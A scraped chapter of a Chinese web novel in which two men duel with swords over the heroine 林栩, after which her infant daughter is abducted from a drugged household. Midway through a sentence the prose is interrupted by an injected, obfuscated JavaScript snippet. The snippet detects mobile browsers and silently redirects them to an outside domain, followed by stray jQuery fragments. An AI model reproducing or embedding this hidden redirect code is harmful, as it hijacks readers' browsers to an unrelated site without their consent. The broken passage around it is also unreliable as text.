255. 惊梦
作品:《栩栩惊春(重生)》 窦言洵唇角的笑意渐渐消退,他单手接过剑,眼里却只剩冷肃之气。多年来外人只知道他在刚回沐京窦家后便入了校武场,而后不过半年光景便因病退学。他一向隐忍不发,世间极少人知道他的功力深浅。
“良平侯如今富贵逼人,怕是早已忘记当日曾身陷囹圄,困顿无助之时的窘境。不过,只要良平侯如今平步青云,倒也不辜负我和栩栩当日救你脱离险境的恩情。”
梁徵元却全然不顾窦言洵话语间浓浓的讥讽,只是看着眼前人单手提剑的模样,眼里满是早就料想到了的笃定。
他自己本就是习武之人,当日虽和窦言洵不过相谈片刻,但也足以让他对此人心有忌惮。而今看其接过剑的阵仗,又哪里是外界传闻体弱多病的模样,分明是功底深厚,一直以病弱示人的练家子罢了!
须臾之间,两人之间的气息已凝滞如冰。
梁徵元未吐一言,眼底寒芒骤闪,骤然便一个箭步上前欺近,只见他手里的长剑寒光泠泠,三两下便直直逼向窦言洵。他是荷城好汉,素来最厌弃失信之徒,此刻心头的怒意更是如烈火焚胸。窦言洵负了栩儿,此人如何还有脸再次出现?今日,纵然刀剑相向,自己也要替栩栩讨一个公道!
而林栩眼见此景,心口几乎要骤停,掌心早已沁出密密麻麻的冷汗。方才还宁静祥和的院落中如今杀机毕现,她如何能不着急,梁四这一回是真动了杀机!可是如今她被两名魁梧的将士牢牢护住,急得几乎要扑上去拦阻,却只能眼睁睁看着眼前刀光剑影交错。
而很快,窦言洵身形一晃,竟如游龙般闪过带着凌厉杀意的数剑。
她胸口一紧,一颗心高高悬起。尽管早知道窦言洵身上埋藏着一个又一个的秘密,可真当亲眼看见他如此身手时,她又觉得十分陌生。又哪里想到他竟要真的要与梁徵元拼杀至此!
“不要!”
林栩再也忍不住,一个侧身便趁两名将士不备而从庇护中冲了出来。一个是她的至亲表兄,一个是她孩子的父亲,她怎能眼睁睁的看着他二人自相残杀?更何况,这一切的一切皆是因她而起?
两人刀剑交错,已是打的有来有回。粱徵元征战沙场数年,每一剑都呈雷霆破竹之势,劈风斩影,荡气回肠。而窦言洵隐忍多年,一招一式皆是少年苟且偷生时自己钻研而来,反而全然寻不出半点章法和套路,剑走偏锋之际,却令粱徵元更觉得此人功力不可估量!而他正愁自己没有对手!
念及此,粱徵元冷笑一声,反而更加来了兴趣,只见他横斩竖劈间卷起阵阵疾风,院中已是石屑飞溅,灯火簌簌摇曳。
而窦言洵见状亦出手反击,脚步虚实相间,宛如影子般掠过剑锋,袖摆猎猎,不仅堪堪躲过粱徵元的紧逼,长剑反而在空隙间递出冷光,直直刺向他的要害。
林栩已是再也看不下去,忍不住撕心裂肺地呼喊着,她怎能眼睁睁看着他二人自相残杀?
而她这一声惊呼,却正好令正欲躲过那一剑的梁四分了心。
他下意识地偏头看向林栩,反而被那长剑刺破了胸前的衣襟,伴着“刺啦”一声,只见梁徵元的衣襟处被锋利的剑锋刺开,上好的软绸顷刻间残破不堪,而伴着窦言洵抽剑的动作,剑心上也有鲜红的血丝缓缓低落。
梁徵元低头看了看自己的伤势,这把剑是自己近身随从平日所用,上阵杀敌削铁如泥,最是锋锐不过,而虽说自己方才分心,但窦言洵竟能抵挡得了自己的招式,更能近身伤了自己,可见他身手不凡,此人隐忍至今,真正功力,竟绝不在自己之下!
这般危险而深不可测的人物,他当初竟糊涂至极,只因为不愿意看到她满心期待落空的模样,竟然终究没有阻止下去,眼睁睁地将栩儿交给他!
林栩见梁徵元受了伤,脸色一白,已是什么都顾不的了,只想上前查看他的伤势。
窦言洵眸色深沉,眼底似有一层接一层的暗潮汹涌而来,却被硬生生按下。他只是微微抬眼,凝视着奔向梁徵元,满脸急色察看他伤势的林栩,一时静默无言。
院中灯火宛若森森冷光,他明明才因激烈的打斗出了满身的汗,此刻却莫名觉得发冷。不由得又想起从前两人成婚不久,梁徵元随军后便身陷命案而浑身是伤的模样,那时她看着躺在床上昏迷不醒的梁徵元的眼神,分明也是这般哀愁的。
哪怕时过境迁,又有什么不同呢。
窦言洵眸色一暗,双手不知何时已经松开,只听见剑身掉落在地发出的巨大声响。
他今日本是失手伤人,毕竟粱徵元是她的至亲,他又怎能看着她伤心难过的模样。可她看向梁徵元的眼神,此刻却比杀了他还难受。
既然有人受伤,院中顿时乱作一团。护卫与随从尽皆色变,惊呼声、脚步声杂乱不堪,纷纷要上前扶住梁徵元。
唯一值得庆幸的是这一剑虽在胸口,却偏在心口之上,伤口不深。梁徵元自幼在荷城操练,又在校武场与战场上摸爬滚打多年,伤痕早已成了家常便饭。血迹虽染红衣襟,他却神色淡然,只抬手拦下周围人,目光仍紧紧盯着窦言洵。
粱徵元唇角轻轻一牵,勾出一抹极淡的笑意,声音虽不高,却字字清晰,震得院中瞬时寂静下来:
“窦大人方才说,昔日于我有救命之恩……那么今日这一剑,粱某便算是偿还了。”
他顿了顿,眼神如刀锋般森冷,直直锁住窦言洵:“……只不过从今往后,窦言洵,你若胆敢再欺负栩儿半分,我梁郢之势必会夺你性命。以此为证。”
话音一落,他便伸手一拽,将胸前被剑锋割裂的衣襟撕下。只见那块残布随风飞舞,在夜色灯火间悠悠飘落,却如一道密不可破的誓言,直直横坠在二人之间。
历经这一番,梁徵元和手下再无心思留在此处,只是和林栩道了别,便匆匆而去。
窦言洵本是下值而归,忙碌了一整日,此刻更觉周身倦怠。院中草木正盛,枝叶间投下斑驳的影影绰绰,他缓缓在一方石凳上坐下,神情很是寂然。
“你可是怪我……伤了他?”
高大的身形隐在草木阴影里,半明半暗,仿佛与周遭隔绝开来。整个人更是看起来说不出的孤寂。
林栩心底一顿,已是于心不忍,缓缓开口道:
“粱四是我的表兄,此行又受外祖百般嘱咐照顾我,今日是他一时情急冲动,我本该阻止的。”
她并不愚钝,重生后没有药物滋扰,心明如镜,自然早便察觉了梁四这些年来对自己那深深涌动的心思。可为了坤柔,为了她自己,也为了顾及窦言洵的情绪,她是万万不能回应,只能视若无睹,当做一切并不存在。
而窦言洵心思细密,敏锐非常,他必定也早早察觉到了。所以方才比剑之时,他明明已稳占上风,躲过了梁徵元接连几招凌厉攻势,却偏偏仍旧刺出那一剑。
至少那一瞬,她在角落里看得足够分明。他是动了杀心的。
院内一片狼藉,夜风轻拂,草木摇曳。窦言洵仍是沉默许久,才缓缓抬起头来。
林栩清澈的双眸映入他眼底,不染纤尘,仿佛一潭秋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16210472|150938||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
水,澄澈无瑕。而他心底却藏着层层叠叠的秘密,早已压抑太久。他今日不过是不得已,才终于显露了冰山一角。
可如若这样的时刻越来越多呢?如若他真的身不由己,只能将自己最不堪的一面层层拨开来展露在她的面前,她可还会如现在一般爱他?
……若有一日,真如梁徵元所言,自己真的伤害了她,伤害了她心中至亲,她最在意的那些人,她又可还会原谅他?又可还会用这样一双眼睛看着他?
窦言洵心思烦乱,只觉得一颗心沉到了谷底,风声阵阵,却再也没有开口的力气。
而她,也一直静默的站在原地。
两人难得意兴阑珊,连厨房李娘精心准备的饭菜也没几乎未动,窦言洵只是喝了几杯清酿,又到房中抱了一会儿早已睡熟的眠雪,便亦离开了。
这还是自和好后他第一次回来却未留宿。
.
入夜,林栩沐过浴,待绒薇服侍她梳洗时,忍不住轻声劝慰道:
“夫人今日的确是为难了,表少爷和二爷皆是您最亲近的人,如何能顾此失彼呢……只不过还好表少爷受伤并不重,不然您心里定然会更加自责的……只是看二爷离去时的神情,心底想必亦是不好受的……”
林栩拿热帕子敷了脸,只觉得累极了,她实在是不愿去回想那一瞬间窦言洵对粱徵元展现的杀意。好不容易让心思静下来,她走到眠雪的小床边,亲了亲睡熟的小家伙柔软的脸颊,只觉得世间再没有比她更美好的事情,这才心里舒服许多。
一夜多梦,梦中四处混沌,她只觉得胸口闷痛不止,或许是梦魇了,场景变幻无常,她只觉耳边传来细碎的声响,一会儿像身处山谷,身边寂静,一会儿又想身处雪原之上,空旷无垠,她却觉得浑身发冷,止不住的颤抖起来……竟是整夜都未曾安眠。
待林栩终于睁开眼睛时,四下仍是漆黑一片。
她张了张口,只觉得喉咙阵痛,这样的痛让她心底蔓延出一丝不详的预感,她猛地坐起身来,却发觉床边的小几上如常该点着的夜灯却不知何时熄灭了。
她在一片寂暗之间什么都看不清楚。
“竹苓……绒薇……”
一向有人值守的房内此刻却无人应答。林栩眉心忽然突突地跳动起来,她在一片漆黑间摸索着下了床榻,踉跄着走到眠雪熟睡的小床边,然而凭着窗外勉强透进的月光,那张榆木小床内却是空荡荡一片!
她的眠雪,她的眠雪不见了!
再顾不得喉咙钝痛,她一阵惊叫出声,终于惊醒了歪倒在房外地上的竹苓。今夜本是竹苓和另一个小丫头守夜,没想到她们竟然双双瘫倒在地上,昏睡了过去!
竹苓醒来后匆忙点了灯,这才发觉眠雪不见了踪影,已是满心懊悔,她泪如雨下,恨不得立马跪地请罪,“奴婢该死,怎能如此昏睡过去……”
林栩神情却冷得可怕,她抬手制止,目光一瞬间落在窗棂。只见其上赫然有一个指甲大小的破洞。
“不是你们的错。”她声音低沉,寒意刺骨,“是有人,给我们下了迷药。”
竹苓等人闻言齐齐变色,心胆俱寒。她们慌忙冲出院子,才发现院内本该值守的护卫竟也全数昏倒在地,人人失去知觉。
夜风拂过,院门虚掩,吱呀作响。冷风卷起一片死寂,林栩面色已是惨白如纸,心口几乎要裂开。
“快去追!”她厉声断喝,却只是勉强镇定罢了,她连十个指尖都在颤抖,拼尽全力才勉强站住,“……他们还没走远!”